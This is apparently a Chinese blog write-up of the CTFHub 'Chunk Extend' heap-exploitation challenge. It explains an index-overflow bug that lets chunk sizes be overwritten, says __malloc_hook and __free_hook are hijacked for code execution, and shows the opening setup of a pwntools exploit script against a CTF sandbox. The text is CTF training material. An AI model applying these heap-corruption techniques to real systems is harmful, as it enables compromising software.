CTFHub技能树---pwn-Chunk Extend

最新推荐文章于 2024-10-18 19:55:45 发布

原创

最新推荐文章于 2024-10-18 19:55:45 发布 · 632 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#linux #安全 #运维

该文章详细描述了一个利用堆溢出漏洞来操控内存的场景。通过在CTF挑战中远程连接到一个服务，作者演示了如何通过添加和释放特定大小的chunk，然后编辑堆块大小和内容，导致index0的堆块溢出，进而修改其他chunk的size。最终，通过操纵`__malloc_hook`和`__free_hook`，实现了代码执行，展示了底层内存管理的安全风险和技术利用方法。

漏洞点

在这里插入图片描述
add这里如果 index 0 ~ 9 都申请了的 chunk ，那么 i = 10 再退出 for 循环，但是还会接下去利用 ptr[10] = malloc(ptr[20]) 申请chunk，实现 index 0 的堆块溢出
也就是add 可以覆盖掉一个第一个 chunk 的 size
最后第11个chunk的size会变成非常大，编辑chunk0，就可以实现溢出

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./chunk_extend"
io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",30492)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096